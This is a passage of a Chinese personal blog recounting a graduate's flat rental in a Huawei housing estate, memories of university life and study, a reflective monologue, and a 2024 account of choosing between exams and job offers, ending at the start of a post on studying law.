现在回想，这段话一锤定音，敲定了“就租这套房”的念头。从聊天中进一步得知，前租客也是一位小姐姐（从前房源照片，餐桌上有成套化妆用品可以印证该事实），并且租住了四年之久。（更放心了）经与现租客讨论当前租房市场，得出的结论是：华为人才小区一室一厅的房租、装修、家具、朝向大差不差，仅楼层、房东有所差别。然而楼层在3梯5户的条件下对日常生活影响不大（实测从进电梯门到出电梯门，27层直达1层仅需41s），挑房屋到最后仅需挑个好房东就完事了。当晚，笔者、现租客与房东协商了后续租房事宜。

虽然在 6.25 已敲定租房事宜，但笔者之前已预约其他房东看房，并且两位房东都很友善，所以按照约定时间去看了房，完成约定的同时进一步了解了租房市场。

## 入住体验

6.28 下午，笔者与房东签订了电子房屋租赁合同。根据我国民法基本原则，房屋租赁作为一种民事法律行为，遵循“意思自治”原则。这意味着只要双方协商一致，其真实的意思表示，无论是通过口头、纸质还是电子形式达成，均具有同等法律效力。

为进一步确认电子合同的有效性，笔者查阅了[**《中华人民共和国电子签名法》**](https://www.gov.cn/flfg/2005-06/27/content_9785.htm)。该法第十四条明确规定：**“可靠的电子签名与手写签名或者盖章具有同等的法律效力。”**&#x8BE5;法同时界定了“可靠的电子签名”必须满足四个条件： （一）电子签名制作数据为签名人专有； （二）签署时该数据仅由签名人控制； （三）签署后对电子签名的任何改动能够被发现； （四）签署后对数据电文内容和形式的任何改动能够被发现。

经核对，本次签约所使用的电子签名完全符合上述法定要求。因此，这份电子合同已具备与传统纸质合同同等的法律效力，能够有效保障房东与笔者的合法权益。

6.29 上午，在房东知情并同意的情况下，笔者与现租客完成了房屋交接，包括但不限于：对房屋拍照、入户门钥匙交接与电子密码更改、结清物业费与水电费、支付押金。至此，笔者获得了房屋使用权，开始搬运行李 + 清洁房屋。

笔者共有五个背包、两个编织袋、一个行李箱需要搬运。背包、行李箱由笔者与好友手动搬运。编织袋前期已寄存到东莞亲戚处，通过货拉拉服务将编织袋从亲戚处运送到当前房屋，两处距离 8km，40kg 重的编织袋运费仅为 26.49元，相当划算的一笔交易！笔者之前没使用过货拉拉，且编织袋本身体积不大，盘算着省钱原本约滴滴进行运送，后面被滴滴司机告知运货必须有人跟车去，故中止了此方案改用货拉拉。

行李搬运完成后，开始清洁房屋。经租客小姐姐推荐，去嘉荣超市购买了强力清洁剂（如下）。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FCyGVc883MEDBLJVtr3fY%2Fimage-20250704164452314.png?alt=media&amp;token=7f20c94a-e311-45a6-b4ec-9b4d384c94b2" alt="" width="157"><figcaption></figcaption></figure>

有了清洁剂 + 抹布后，从厨房开始对房屋高强度清洁。实测上述清洁剂去油污非常好用，把房屋擦洗得锃亮。（贴一张俯瞰抽油烟机的照片来说明效果）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fh6Ud3eLcHu6ozbILXHAU%2Fimage-20250704165046391.png?alt=media&amp;token=d85aa19b-a7fc-4528-a8b9-d5d18cbef757" alt="" width="348"><figcaption><p>抽油烟机，你干净了！</p></figcaption></figure>

而后擦洗房屋每一处角落，包括电器开关、橱柜、桌椅、沙发、茶几、电视......擦洗过后，再用扫把扫一遍地，拖把拖一遍，至此亮堂且干干净净的房屋就收拾出来了，请看劳动成果！

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FuP6IcmX8mWNddGyZFfl6%2FFC9264206F1C3C78329A4DEBC5B7ECBF.png?alt=media&amp;token=f5cd365a-0262-426a-9ae1-14e0b795f831" alt="" width="375"><figcaption><p>复旦一位妹子看到后第一句话“就缺个女主人。”</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FqPXH6KrMaPJaoUfd4LVN%2F6C5B1CAC0281FD2A993F6ECA6315C24F.png?alt=media&amp;token=72b91af0-8408-4dc0-a7f2-3afb7bd4f4d6" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FiBDNzZnymffbXeBEMn0h%2F0424DEC6A22DEBEDC005D83E4CBF0325.png?alt=media&amp;token=5dfa5034-13b9-41e4-9b47-de39943e1993" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fqv2jHTUCpZtRASaHuzil%2F619230524B95CF644282C0AADF08C5DA.png?alt=media&amp;token=581358a3-3f62-427e-b232-1a6e9b23e0c9" alt="" width="375"><figcaption></figcaption></figure>

经过两天实际居住，对租赁到的房屋比较满意！房屋处在华为人才小区，小区房东与租客基本都是华为员工，同时物业也是跟华为一套的。小区整体绿化不错，可以看到老人在楼下散步、小孩在欢乐玩耍，幸福洋溢在大家脸上。此外，家具电器没有隐式问题，外卖、快递可以直接送到门口，小区周围餐馆、超市、理发店能够满足基本需要。美中不足的是嘉荣超市规模偏小，商品种类不够齐全（想买一个塑料牙杯没有买到），好在这一不便可以通过京东超市弥补，选择同城沃尔玛超市，约三小时便可收到商品。

邓公曾言：“社会是最好的大学。” 此次顺利租房，也算是笔者迈入这所“大学”的正式报到。期待社会大学的第一课～

<br>


# 大学回忆录

现在是 2025.06.24（离开前的最后一天），我独自在空荡荡的寝室里写下本篇 blog，将 2021.09-2025.06 这段时光存档。我希望自己能铭记走过的路，从而接纳并拥抱那个曾经的自己。无论那时的我有多脆弱、多渺小，那个真实的存在，都值得被爱。

为避免叙事混乱，将大学回忆拆成学习、麓南生活两方面讲述。

## 学习

“我是物理竞赛省一”，“我搞过一点儿化学竞赛”，“我对数学挺感兴趣的”。那么，我会什么呢？很遗憾，搜索结果为空。

```c
int a = 1, b = 2;
int c;
c = a;
a = b;
b = c;
```

“同学们，给你们两分钟的时间实现变量的交换。”

没错，就是这么一个简单的问题，让我陷入了紧张与惶恐。周遭噼里啪啦的键盘敲击声此起彼伏，我的手指却仿佛被冻结。那五行代码有多简单，现实就有多讽刺。我不知道为何同学们都会，也不知道为何唯独我不会，最终，我连一个字符都没能敲下。可能这就是小镇做题家吧，除了会做两个高考题其他啥也不会，我心想。

“妈，我吃过饭了，等会我去教室自习。舍友和同学们可能出去玩了吧？他们做作业做得好快，我做两天还没做完，他们一个晚上就完成了。”

2021年12月某日晚，奶茶店，大作业讨论。“你听说过 VSCode、LaTeX、Markdown、Nodeppt……”很显然，我都没听说过，自然也都不会。

2021-2022 寒假，“程序设计不会挂科吧？”

“我是 rk2，不知道谁是 rk1”，一位舍友说道。另一位舍友笑了。在仅有四人的宿舍里，已知第三位舍友是rk7，而剩下的那个人，是 rk37。

Wow，大一上的冲击真不小呢。恭喜你，成功活过了大一上。熬过了寒冬，春天就快来了。还记得舍友对你说的学习方法吗？“学不会怎么办？”“硬学”。

自大一下开始，在学委吴的带领下，你对 CS 慢慢从无感转向喜欢，还记得第一次折腾域名与服务器的场景吗？还记得第一次 git 成功的喜悦吗？还记得第一次玩 Linux 小火车的欣喜吗？哦对了，你能耐下心来看各种各样的英文文档了，paper 对你来说不再吓人，查 manual 也是基操。很明显的进步点在于，你寻求他人帮助的次数变少，提问的质量日益提高。你明白作为一名工程师，你是要**独立**解决问题的。

大二上的电子电路与物理依然将你折磨得痛不欲生，但还好，大家跟你是一样痛苦的，你虽然还是吊车尾，但不至于被大家落得太远。

来到大二下，那是化蛹成蝶的一个学期，那是属于你的花期。经过计算机系统、计算机网络、操作系统的摧残，你对 CS 第一次有了框架性的认知。为了解决某个问题，你需要选择一门语言进行编程，在编程的过程中需要用到算法与数据结构，debug 后进行编译，最后让操作系统执行指令。操作系统虽然是软件的底层，但不是技术栈的底层，你还需要固件与硬件的支持，这又涉及到电路与 ISA。除此之外，需不需要使用并行计算来加速？需不需要建立当前设备与其他设备的通信？这些东西都慢慢来到了你的脑子里。此外，在 3.25 这一天，你晚上十点半从长沙坐上了前往北京西的动车（第一次一人旅行），于次日清晨到达。随后乘坐地铁前往 THU 参观，实现了参观梦校的梦想，这是一趟圆梦之旅。

值得一提的是，你似乎培养了一点儿 leadership。你成了所有课程的小组长，组建了一支稳定的队伍，给每一次小班讨论规划 outline。大家齐心协力克服了很多困难，同时成为了其他小组不想碰到的梦之队，可能是因为我们输出的活力过于凶猛（笑）。针对某次小班课的编码问题，老师让你把回答转发到课程群里供大家参考，这是一件很小的事，但也是一件很大的事，因为认可比金子珍贵。

时光辗转来到了大三上，这时的你不再像大一那般青涩、害羞，你已经通过一次完美的课程授课（向老师申请了一节课，结合自己在 THU 的实习经历，给同学们讲解什么是 Fuzzing）赢得了同学的尊重、老师的赞誉，自信的你真帅，继续保持！此外，你大胆迈出了刷机的第一步，购买了 Xiaomi 10 更换了 os，进入了可爱的 FASTBOOT 界面。通过《信息安全论文写作》课程，你知道了顶级写作是个什么样子，初窥科研殿堂的同时埋下了对科学的向往，说不定以后出去读 phd 呢哈哈哈（幻想时间）。

大三下是专业课程学习的最后阶段，你挑战了固件仿真 project，对固件建立了初步概念。你还参加了人生第一次线下实习，体验了朝九晚九、两小时通勤，并同时兼顾校内事务的生活。如今回想，那段日子确实不易。一分耕耘，一分收获，身兼数职让你摸清了自己能力与精力的上限，明晰了自身的边界与不足，也为未来的道路找到了方向。大三暑假，攀登黄山时，你悟到了“Living for fun”的生命理念。随后，你独自一人远赴外省，参加了 2024 Let's G.O.S.S.I.P。

平淡是生活的底色，大四生活是最好的例子。大四主线任务是谋未来发展 + 完成毕设，支线任务是桌球一杆清台 + 王者打上 50⭐。现在来看主线任务顺满完成，支线任务都遗憾失败。这一年的感受是过得有些“浑浑噩噩”的，有点儿不知道自己每天在干什么，大四生活相比前三年缺乏了点挑战，激情少了些，抱怨多了些，悲观情绪占据了主导地位，具体细节请看[此篇 blog](https://blog.kaisuping.cn/life/yi-ge-bei-guan-de-le-guan-zhu-yi-zhe-de-du-bai)。

此一时彼一时，毕业后再次回顾自己的生活，发觉对大四生活的评价有失公允，其根本原因是对于“学习”的定义过于狭窄。“学习”不应只指向专业技能的学习、成绩的提升，花时间锻炼身体、体验新纸牌游戏、提升驾驶🚘技能都应当属于学习。

以打黑神话悟空为例，接触该游戏后，意识到自己在抓 Boss 前摇方面较弱，这暴露了自身在反应、预判方面的不足。通过反复打关卡，制定针对不同 Boss 的策略，知道什么时候该放什么技能，该如何将宝物、天赋的效果最大化，心理素质也得到了锻炼。这个过程完美诠释了广义上的“学习”。

没人规定学习的范式，学习本就应当是广泛的、充满乐趣的。它应该是我们乐于投身的事业，而非一种沉重的负担。我很庆幸，曾在高中的作文素材里读到过下面这段话，它帮助我树立了健全的学习观：

> 学习之于人生的重要性 是我们从小到大的“共识”
>
> 但有多少人把学习视为沉重的负担 又有多少人把学习当成牟利的工具
>
> 学习该是一件令人极其快乐的事 蕴含着求知的兴奋 思考的满足 顿悟的喜悦
>
> 唯有真诚地学习 才能体会到学习的本质
>
> 唯有主动地学习 才能做到终身学习

## 麓南生活

> “四年麓山南，一生少年气”
>
> 这是毕业时见到对麓南生活最美的评价

### 课余时光

HNU 背靠岳麓山，面朝湘江，坐拥后湖。饭后三选一，日子还是过得去的。

可能是大一开学的第一个周末，吃完早餐，在去综楼的路上手机响了，打开一看有好多条消息，千言万语汇成一条：你当班长了（由此开启四年消息转发机器人生涯）。班长在大学与高中是两个完全不同的概念，大学里啥事都要自己搞，唯命是从干不好活，必须得发挥主观能动性才能把事做好。入学材料确认、贫困生入库、班会时间地点 ppt、联系班主任、上交材料给辅导员、组织聚餐……当班长的第一个学期真是给自己好好上了一课。另外，在大学里大家更多专注于自己的事情，平常基本只跟自己的小圈子有联系，对于集体的事非必要不参加，对于班级也并不是那么在意，直观的感受是同学情相比高中淡了许多。

两年自训队生涯是我大学最动人的篇章，第一年的细节可参考[在自训队，是一种什么样的体验](https://blog.kaisuping.cn/life/zai-zi-xun-dui-shi-yi-zhong-shi-mo-yang-de-ti-yan)，第二年的细节于此不表。

如果你同我一样幸运，拥有三位非常非常 nice 的舍友，那么大学四年你有福了。我们四人在大一开学就买了一块黑板，黑板正面用来讲解数学、物理、计算机题目，黑板背面被用作牌桌。我们宿舍既可以是通宵自习室，也可以是棋牌室。我们打德州扑克、唬牌、桥牌、三国杀、象棋，一起在疫情封校期间打雀魂，我们一起分享家乡的美食，吃德州扒鸡、熏鸭，一起去东北一家人聚餐，一起去后湖散步，一起去天马小区吃烧烤，一起推过高地，一起吃鸡，一起喝酒，一起夜聊，一起通宵。我们有过很多很多别人无法复制的共同回忆，这造就了我们独一无二的感情。最棒的大学生活是舍友给的。

基于智力与体力是人不可被剥夺的财富，投入大量时间训练思维、参加体育活动。如果无聊，就去德智图书馆坐面窗的沙发上，随意挑一本杂志 / 书籍看上一俩小时。周末给实验室干活，逛各种技术论坛，看各种专业书籍猛猛学。“文明其精神，野蛮其体魄”。小初高基本把所有课余时间投入到篮球上，来到大学后，“身体决定在哪个层次打球，技术决定在该层次的位次”，意识到自己在篮球领域永远只能在中下水平，于是开始探索其他体育活动：跑步、飞盘、骑车、桌球、羽毛球、游泳。经过一段时间训练，跑步首次半马 1:57:19，飞盘入选校预备队，骑车 100km 5h 完成，前三项达到了自己的预期，但桌球、羽毛球、游泳都还处于比较菜的水平。

在 CS 读书的好处是其艺术场馆比较多，如李自健美术馆、谢子龙影像艺术馆、湖南省博物馆、湖南大剧院、长沙音乐厅、笑嘛脱口秀。在上大学前，我鲜有机会接触这些。尽管对其中的门道尚不能深入鉴赏，但于我这样的门外汉而言，能“听个响”，知晓其存在，便已是极大的收获。

在节假日，逃离长沙去别的地区游玩，目前已去过大部分沿海城市，但内陆仍有许多城市有待探索。

### 情感经历

“我祝你黛发长青，朱颜长姣，同我们的爱万寿无疆。”

祝词多美啊～只可惜大学四年从单身走向了进一步单身的生活（doge

“路遥知马力，日久见人心”强调日久生情，这种观念在很长时间内限制了我对恋爱的想象，对“快餐式”恋爱一棍子打死，对“不以结婚为目的的恋爱”一律以耍流氓处理。直到有了两段类恋爱的前期经历，才慢慢转变了上述保守的思想。恋爱不是数学公式，不一定能计算出一个结果，也不是非得到一个时间节点才会发生质变。当恋爱来的时候你能听见它来的脚步，这个过程没有任何奇巧淫技，你们自然而然会有聊不完的话题，长夜不再漫漫，醒来总是满怀期待。

从各方面来看，曾经遇到过很合适的女孩，遗憾的是，当我们第一次单独在一起相处的时候心电曲线就像横坐标轴一样平缓毫无起伏。我不知道是什么原因，但自己骗不了自己，于是选择了中止这段还未萌芽的感情。

后面思考了恋爱的前序与后序过程，总结出其充分条件是：**喜欢**。喜欢的建立不是靠追，而是靠相互吸引。相互吸引的表征在于再忙也不会断了联系，因为忙是说给不喜欢的人听的。此外，由于喜欢是主观活动，所以无法被证伪。若要投身其中，无它唯相信尔。相信人与人之间有真情，相信自己值得被爱，相信付出会有回报，相信“我喜欢Ta，Ta也喜欢我”为 True。

再进一步思索：我们为何会期待恋爱？我想，根源在于人是群居动物，我们并非生而为孤岛，也非能独行于高原的孤狼。人间真正的引力，终究还是人与人之间的连接。我们天生渴望亲密关系，而爱情，无疑是其中最动人的一种。并且，越是成长越会意识到，同属亲密关系的亲情，其陪伴的时间也是有限的。毕业后若不归乡，与父母的相伴便注定聚少离多。亲情这一稳定渠道的物理疏远，无形中加重了爱情在我们生命中的分量，使我们愈发渴求它。“到最后才发现，竟是两个毫无血缘关系的人，携手相伴走过了一生。”

## 尾声

作为血肉之躯，毕业的感伤无法避免，既然无法避免，只能选择接纳毕业的事实，认真倾听自己真实的感受，用心记录。入学前在知乎上看到的评价是中肯的，“HNU 不是顶级学校，但作为一个平台还是提供了足够的发展空间”，我感激在 HNU 的生活，四年充满回忆的大学生活会默默陪伴着我，一起迎接未来的挑战。

<br>


# 一个悲观de乐观主义者的独白

随意写点什么......

自上大学来，再没有比现阶段更无趣的生活了

缺乏挑战，没有激情

平平淡淡的日子是很好，但真得不适合我

不用定闹钟起床的日子已经过了很久了

身边的朋友进入了新的环境，开始人生的新篇章

我本可以，不过做了另一种选择

挑了一个很难的毕设，探索未知的领域做到现在也到了收尾的阶段

拓宽了运动领域，游泳、骑车也蛮有意思，羽毛球也略有进步

一连一周或十天在台球馆，把台球也练到了一个自己还算认可的地步

也读了不少书，参加了一些讲座，旁听了法学、文学的一些课程 &#x20;

客观来说，我还是有所进步，至少在文体方面

跟朋友们聚了挺多次餐，喝了很多次酒，老友叙旧真挺好

去了一趟北京，增长了些见识

在结束了绵延不断下雨的长沙，闲逛校园

HNU 还是蛮不错的，留下了很多美好的回忆

意识到自己即将离开，有些不舍

可能是前三年半相对别人，自己的生活节奏还是略快

起得也早，穿衣洗漱快，吃饭也嘎嘎快，那时候真没有太多时间发呆、思考

可我对之前的生活真得很满意。尤其是周末能抽半个小时出来刷 b站 的时光

忙里偷闲的快乐

现在的我一天想刷 b站 就可以一直刷，想干嘛就可以干嘛

悲哀的是，现在什么都不想干

没有压力，就好比加满油的车没有了方向盘，哪儿也去不了

我不知道为什么会这样

是因为我在对抗自己前三年半的惯性吗

还是我真得变了

以前的习惯是把要做的事情全部加入 todo list

在每周一的早上，开始规划这周的安排以及当天要做的事

当一天要做的事情全部 done 后，一种充实涌上心头

于是我便可以在爬上床，看一会儿书，沉沉睡去

第二天满血复活

现在呢，既不想睡，也睡不着

我不知道自己想要干什么

这种恐惧难以言说

一些朋友可能会觉得你毕业去向也定了，又有时间，没有压力，正是最美好的时光

但我真不这么觉得

可能是我真得有自虐倾向

什么事都想挑战一下，看看极限

现在没有极限能挑战了，反而跟泄了气的气球一样，只能老老实实趴在地上

生活也发生了些意外

比如丢了一件很贵的白衬衫，一不小心把手机屏幕摔出了问题（就在刚刚

但我的心没有泛起涟漪

理性尝试过解决之后，就过去了

目前有点像一潭死水，失去了活力

像《大主宰》里牧尘，在北苍灵院修炼的最后阶段，洛璃离开了

孤独、寂寞

真是到了该离开的时候

想起了高三的一个中午

一个人在走廊站了很久，想了很久很久

而后在语文厚厚紫色五三的首页写下了满满一页对当时困境的思考、对未来的憧憬

站在今天大四的角度，看当初高三的我

我可以很高兴得与他拥抱

庆祝他做到了当时的所思所愿

今日我这满纸荒唐言，说不定也是埋下了跟未来自己再次相遇的种子

那就未来再见，下次相遇说不定会让自己惊喜呢

哈代写下《一个数学家的辩白》

今日这篇随想，就叫《一个悲观de乐观主义者的独白》


# 路在脚下

2024 年终总结

下文记录了笔者大三上、大三下和大四上三个学期关于未来的探索历程。

## 考研

大三上开学时，冥冥中感觉到必须对未来发展做出选择了，那么该走哪条路呢？跟导师、父母、学长学姐等交流后，排除了保研（rank 不够）、出国（没钱）、工作（能力不足）三条道路，最终选择了考研作为未来发展方向。

首先去中国研究生招生信息网看招生简章、考试大纲、录取情况，同时了解考研流程：9月中旬预报名（大四上学期） ➡️10月中下旬正式报名 ➡️ 11月打印准考证 ➡️ 12月参加笔试 ➡️ 若笔试过线，则明年3月参加复试。

考研是一锤子买卖，只能报考某一个院校的某一个专业，考得上行了，考不上拉倒。笔者想着考都考了，那就考 top1，于是~~丧心病狂~~去[清华大学研究生招生网](https://yz.tsinghua.edu.cn/zsxx/sszs/ptzk.htm)、[清华大学研究生招生综合信息平台](https://yzbm.tsinghua.edu.cn/publish/infors)了解梦校的招录情况：

* 考试科目：101政治、英语（一）、数学（一）、专业课912
* 理想专业进面要求如下：

| 083900（全日制） | 网络空间安全   | 330 | 55 | 60 | 100 | 90 |
| ----------- | -------- | --- | -- | -- | --- | -- |
| 081200（全日制） | 计算机科学与技术 | 353 | 55 | 65 | 100 | 90 |

* 如果有幸进面，总成绩计算公式：总成绩（满分值1000）＝初试总分（满分值500）+ 复试机考成绩（满分值100）+ 面试成绩（满分值100，包括专业面试80+综合能力面试20）\*4。

白日做梦还没醒，甚至提前看了一手导师：[024计算机科学与技术系](https://yzbm.tsinghua.edu.cn/publish/s03/s0303/detail/c2662d2c-9890-4dc5-aea6-d9d7cd7515fd?yxsdm=024)、[412网络科学与网络空间研究院](https://yzbm.tsinghua.edu.cn/publish/s03/s0303/detail/c2662d2c-9890-4dc5-aea6-d9d7cd7515fd?yxsdm=412)。现在来看真是无知者无畏，初生牛犊不怕虎，不过也没什么不好，如果考研都没有激情与梦想支撑，迟早得崩溃。

稳妥起见，笔者如法炮制去[湖南大学研究生招生网](http://gra.hnu.edu.cn/index.htm)查阅了本校的录取流程、考试科目、进面要求、总成绩计算。

因为笔者高中选修政治，并且英语基础较好，所以从国庆节开始准备政治和英语，每天看[徐涛](https://www.youtube.com/watch?v=_UutCH3QFAc\&list=PLo4DRZ9pgCGr5vrf6CTSB7Nsv83dRsqJh\&index=1)政治课或者学习英语（背 TED 演讲稿、背单词等）。这样考研马拉松的起跑阶段，负担不会太大，同时能让笔者兼顾学业、实习与社团。预期在大三寒假前，可以过一遍政治，并且打好英语基础，这样寒假就可以开始数学与专业课的学习。

## 转向考公

大三上一晃而过，大三寒假即将来到，一个念头在脑海中回荡“All in 考研的话，万一没考上研究生咋整？真回家种地？”说来奇妙，某个时刻想起了大二暑假前，师父曾云“X单位有招实习生，你想去不？”（当时笔者因为要参加暑期支教活动，毅然决然地拒绝了这个机会）打开 vx 联系师父，“师父我错了，我想去X单位，还有机会不？”经过**漫长的等待**，终于等来了X单位负责人的电话，交流过后，确定在大三下开启为期三个月的实习。这无疑是件好事：有了实习经历，既能提升个人能力，又能增色简历。然而这也让笔者考研的决心开始动摇。寒假期间，原先制定的考研计划完全搁浅，只能大三下再议。

开学伊始，实习如期而至。在这三个月的实习中，笔者深深被X单位负责人NB经历和满腔热血感染。经过慎重考虑，笔者最终决定放弃考研，转而选择考公，并立志加入X单位。听说考公务员准备周期相对较短，通常只需三到四个月，因此大三下学期笔者并未立即开始复习，而是拖到了暑假8月1日才全面投入准备。

同考研，笔者首先通过以下资料了解考公相关信息：

* [国家公务员局](http://bm.scs.gov.cn/pp/gkweb/core/web/ui/business/home/gkhome.html)
* [国家公务员法](http://bm.scs.gov.cn/pp/gkweb/core/web/ui/business/article/articledetail.html?ArticleId=8a81f3236dbf43a4016dc3c277e60002\&id=0000000062b7b2b60162bcd13002000c\&eid=0000000062b7b2b60162bcd1a324000d)
* [公务员录用体检特殊标准（试行）](http://bm.scs.gov.cn/pp/gkweb/core/web/ui/business/article/articledetail.html?ArticleId=8a81f3236dc459d2016dc45b76960000\&id=0000000062b7b2b60162bcd13002000c\&eid=0000000062b7b2b60162bcd1a324000d)

考公简单来说，可以分为**国考、省考与选调**。一般走国考的话，是进入中央机关及其直属单位，走省考的话就是进入省属机关及其直属单位。选调稍微特殊，因为选调生是由省委组织部从高校应届毕业生中择优选拔出来的特殊公务员，录用之后会安排到基层工作，当做省市机关工作人员或是领导干部的后备人选进行培养。

由于进入X单位走的是国考，所以笔者关注的是25年国考时间线：

* 报名时间：10.15 8:00——10.24 18:00
* 资格审查结果查询：10.15 8:00——10.26 18:00
* 查询报名序号：于 10.28 8:00 后登录专题网站查询报名序号，报名确认和下载打印准考证时需提供该序号
* 确认报名缴费：11.1 0:00——11.6 24:00 登录专题网站进行网上报名确认并缴费
* 打印准考证：11.25 0:00——12.1 15:00 期间登录专题网站打印准考证
* 行政职业能力测验：2024年12月1日上午 9:00—11:00   
* 申论：2024年12月1日下午 14:00—17:00   
* 查询成绩：明年1月
* 复试：明年3月前
* 体检、考察、公示、备案

国考考试科目：行政职业能力测验 + 申论

* 行政职业能力测验题型：政治理论、常识判断、言语理解与表达、数量关系、判断推理、资料分析
* 申论题型：归纳概括题、综合分析题、应用文、对策启示题、大作文
* 注意有总分和单科成绩的要求，所以不能偏袒，两个科目一定都得行；其他职位，笔试成绩按照行政职业能力测验、申论成绩**各占50%**&#x7684;比例合成；未组织专业能力测试的，综合成绩按照笔试、面试成绩**各占50%**&#x7684;比例合成

由于国考没有往年真题、答案，所以唯一的准备方法是仔细阅读《中央机关及其直属机构2025年度考试录用公务员公共科目笔试考试大纲》（每年大差不差），而后根据要求进行准备：

> 公共科目笔试是公务员录用工作的重要环节，**笔试内容突出公务员的政治标准和政治属性，重点测查用党的创新理论指导分析和解决问题的能力，教育引导报考者自觉做习近平新时代中国特色社会主义思想的坚定信仰者和忠实实践者；注重能力导向，主要测查从事公务员工作应当具备的基本能力和基本素质，教育引导报考者注重平时学习积累和能力提升**；实行分类分级，突出人事相宜，根据不同职位类别、不同层级机关的特点分别设置，以提高测评的科学性精准性；坚持公平公正，对各类报考者一视同仁，试题使用素材具有通用性。
>
> （一）中央机关及其省级直属机构综合管理类职位。主要测查报考者的阅读理解能力、综合分析能力、提出和解决问题能力、文字表达能力。
>
> **阅读理解能力**——全面把握给定资料的相关内容，准确理解给定资料的含义，准确提炼事实所包含的观点，并揭示所反映的本质问题。
>
> **综合分析能力**——对给定资料的全部或部分的内容、观点或问题进行分析和归纳，多角度地思考资料内容，作出合理的推断或评价。
>
> **提出和解决问题能力**——准确理解把握给定资料所反映的问题，提出解决问题的措施或办法。
>
> **文字表达能力**——熟练使用指定的语种，运用说明、陈述、议论等方式，准确规范、简明畅达地表述思想观点。

笔者的备考方法很简单：

* 行政职业能力测验
  * 刷题：粉笔app + 纸质版试卷
  * 模式：题型专项训练 + 套卷
* 申论
  * 刷题：粉笔app + 纸质版真题
  * 理论学习：学习强国 + 人民日报 + 深入学习**毛选、邓选、习近平谈治国理政**
* ps，笔者个人看过的考公视频都很鸡肋，所以并不推荐看视频学考公

## 考公与秋招并行

在准备考公的时候，遇到了与准备考研时同样的问题“All in 考公的话，万一没上岸咋整？毕业去要饭吗？”经过与舍友、同学的交流讨论，觉得不能吊死在一棵树上，还是得考公、秋招双线程并行。所幸8月下旬这个时候不算晚，只有一小部分公司开了秋招提前批，所以这个时候入场来得及。于是每天一部分时间整学业，一部分时间准备考公，另外一部分时间就混迹于各类校招平台搜罗信息（学校就业信息群、学校就业网、各类公司官网是比较靠谱的信息来源）。

秋招流程：给对应岗位投递简历 ➡️ 等待简历筛选 ➡️ （笔试）+ 面试 ➡️ offer 发放 ➡️ 体检 ➡️ 三方签署 ➡️入职 。

秋招前期，笔者自认为凭借还算不错的简历：985本 + 清华大学科研实习 + 公司实习 + 两个扎实的项目经历 + n个校奖，能够很快斩获保底 offer，**结果现实狠狠给笔者上了一课**。最先是被鹅厂一面光速拒绝（这个是因为笔者能力不足，没啥好说的），随后是一系列**简历初筛不通过**与**一面挂**，包括但不限于科大讯飞、字节、华为、美团、百度……（随意截张图，供各位大佬一乐，哭www）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FUQgjfxsoPBWXzRYJofJY%2Fimage-20241228231348497.png?alt=media&amp;token=fecfacf7-6955-497a-b783-2b1c7ed5465e" alt=""><figcaption></figcaption></figure>

理想很丰满，现实很骨感。笔者大厂梦碎，每天沉浸在自我怀疑中无法自拔。peer pressure 给笔者雪上加霜，保研的好友去了 PKU、SJTU、FDU、ZJU、WHU 等一众名校，找工作的好友已经手握 n个 offer 开始权衡比较，对比自身颗粒无收、前途渺茫的情况真是很难不心酸。

没办法的时候就只能苦苦煎熬，盼望着熬出头的日子早点来。黑暗中，笔者收到了第一份来自招银网络科技的 offer！爱招银，招银的面试特别友善，后续的人事流程特别迅速且规范，薪酬福利也很好！！是招银的这份 offer 让笔者重拾信心，稳住军心，不用再考虑毕业去讨饭的问题，所以特别特别感谢招银！！！随后陆续通过另外两家面试，收到了其中一家的 offer，另外一家估计是排序挂了一直没消息。

但现实又岂能让笔者一帆风顺，“大鹏一日同风起，扶摇直上九万里”的剧情注定只能发生在爽文男主身上，而不会发生在笔者身上。10月的某一天笔者被X单位正式告知不符合条件，打上 reject 的标记。懵逼、疑惑、不解、痛苦，万般情绪交织，到底做错了什么才会遭到如此报应？放弃考研选择考公的下场就是这？准备了两个半月结果连考都没得考？？你TM在逗我吧？？？

不过也奇怪，按说这等挫折高低得摧残笔者几天，但没想到两个小时后，笔者心如止水，没有其他任何想法或情绪，跟个机器人似的，紧急投递了Y单位作为考公补救措施后（毕竟准备这么久了，虽然不抱期待，但也蛮考一考），就继续准备秋招了。

接下来的一个多月，半摆不摆地投投简历，准备准备秋招，打打王者打打桌球聊以度日。转折点出现在某日下午，一个广东深圳的号码打了过来，一接原来是华为HR小姐姐，小姐姐说了两点，1.这边还招人；2.**简历被锁可联系官邮解锁**。笔者一听顿时来劲了，跟小姐姐一顿对接，然后笔试猛猛考面试猛猛面，也还真是老天保佑，一切顺利。

12月1日极其放松地考了个国考，12月24日收到了华为 offer。

数九寒天，与两位挚友围坐在羊肉火锅旁，热气氤氲间，汤香扑鼻，那滋味真是地道！一杯浊酒下肚，微醺之间，烟雾袅袅升腾，彼时彼刻，才明白那句“我们并非生活在未来，而是活在当下”的真谛。

大学探索未来的故事就这样结束吧。回首望去，更像一场荒诞的闹剧。生活啊，总是这样，荒唐无稽。罢了罢了，随风而去吧，但行好事，莫问前程！


# 法律学习初体验

本学期笔者出于培养自身法律观念的目的，选修了两门法学院的课，一门是《西方法律思想史》，另一门是《劳动法》。值本学期结束之际，总结一下有关法律的学习心得。

## 前言

